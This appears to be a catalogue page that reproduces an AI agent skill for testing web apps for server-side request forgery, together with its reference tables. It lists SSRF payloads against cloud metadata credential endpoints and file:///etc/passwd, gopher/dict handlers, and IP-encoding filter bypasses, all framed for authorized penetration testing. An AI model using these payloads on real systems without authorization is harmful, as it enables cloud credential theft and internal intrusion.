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title: performing-ssrf-vulnerability-exploitation skill (Anthropic-Cybersecurity-Skills)
slug: skill-cybersec-performing-ssrf-vulnerability-exploitation
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**What it does.** Tests web application URL parameters for Server-Side Request Forgery by probing cloud metadata endpoints (AWS/GCP/Azure at 169.254.169.254), internal network services, and protocol handlers (file://, gopher://, dict://) using a Python script, including IP-encoding bypass and DNS rebinding checks. Use during authorized penetration testing to confirm SSRF in a URL-fetching parameter and generate a vulnerability report. Part of [[skills-anthropic-cybersecurity-skills]] (mukul975/Anthropic-Cybersecurity-Skills).

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| Upstream | [mukul975/Anthropic-Cybersecurity-Skills](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) |
| Skill file | [skills/performing-ssrf-vulnerability-exploitation/SKILL.md](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/HEAD/skills/performing-ssrf-vulnerability-exploitation/SKILL.md) |
| License | Apache-2.0 (skill folder LICENSE) |
| Author | mukul975 |
| Fetched | 2026-09-10 |

## Install

- `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-ssrf-vulnerability-exploitation`, or copy the skill folder into `~/.claude/skills/performing-ssrf-vulnerability-exploitation/`.
- Raw file: `curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssrf-vulnerability-exploitation/SKILL.md`

## SKILL.md (verbatim)

```yaml
name: performing-ssrf-vulnerability-exploitation
description: >-
  Tests web application URL parameters for Server-Side Request Forgery by
  probing cloud metadata endpoints (AWS/GCP/Azure at 169.254.169.254),
  internal network services, and protocol handlers (file://, gopher://,
  dict://) using a Python script, including IP-encoding bypass and DNS
  rebinding checks. Use during authorized penetration testing to confirm SSRF
  in a URL-fetching parameter and generate a vulnerability report.
domain: cybersecurity
subdomain: security-operations
tags:
- ssrf
- web-application-security
- cloud-metadata-abuse
- vulnerability-exploitation
- penetration-testing
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
- RS.MA-01
- GV.OV-01
- DE.AE-02
mitre_attack:
- T1078
- T1190
- T1059
- T1078.004
- T1530
```

## When to Use

- When conducting security assessments that involve performing ssrf vulnerability exploitation
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing

## Prerequisites

- Familiarity with security operations concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities

## Instructions

1. Install dependencies: `pip install requests`
2. Identify URL parameters in the target application that accept URLs or hostnames.
3. Test SSRF payloads:
   - Cloud metadata: `http://169.254.169.254/latest/meta-data/`
   - Internal services: `http://127.0.0.1:port/`, `http://10.0.0.1/`
   - Protocol handlers: `file:///etc/passwd`, `gopher://`, `dict://`
   - Bypass techniques: IP encoding, DNS rebinding, URL redirects
4. Analyze responses for information disclosure or internal access confirmation.
5. Generate a vulnerability assessment report.

```bash
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
```

## Examples

### AWS Metadata SSRF
```
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.

## Other files in this skill

- [LICENSE](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssrf-vulnerability-exploitation/LICENSE)
- [references/api-reference.md](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md)
- [scripts/agent.py](https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-ssrf-vulnerability-exploitation/scripts/agent.py)

## references/api-reference.md (verbatim)

# API Reference: SSRF Vulnerability Testing

## Cloud Metadata Endpoints
| Cloud | URL | Headers |
|-------|-----|---------|
| AWS IMDSv1 | `http://169.254.169.254/latest/meta-data/` | None |
| AWS IMDSv2 | `http://169.254.169.254/latest/api/token` | `X-aws-ec2-metadata-token-ttl-seconds: 21600` |
| GCP | `http://metadata.google.internal/computeMetadata/v1/` | `Metadata-Flavor: Google` |
| Azure | `http://169.254.169.254/metadata/instance?api-version=2021-02-01` | `Metadata: true` |

## IP Encoding Bypass Techniques
| Technique | 169.254.169.254 Encoded |
|-----------|------------------------|
| Decimal | `2852039166` |
| Hex | `0xa9fea9fe` |
| Octal | `0251.0376.0251.0376` |
| IPv6 mapped | `[::ffff:169.254.169.254]` |
| Shortened | `169.254.169.254` -> `0` (localhost) |

## Python requests
```python
import requests
resp = requests.get(url, timeout=10, allow_redirects=False, verify=False)
resp.status_code   # HTTP status
resp.text          # Response body
len(resp.content)  # Response size
resp.headers       # Response headers
```

## SSRF Impact Levels
| Access | Impact | Severity |
|--------|--------|----------|
| Cloud metadata credentials | Full account compromise | Critical |
| Internal service access | Lateral movement | High |
| Local file read (file://) | Information disclosure | High |
| Internal port scan | Reconnaissance | Medium |

## MITRE ATT&CK
- T1190 - Exploit Public-Facing Application
- T1552.005 - Cloud Instance Metadata API

Back to [[skills-anthropic-cybersecurity-skills]] or [[agent-skills]].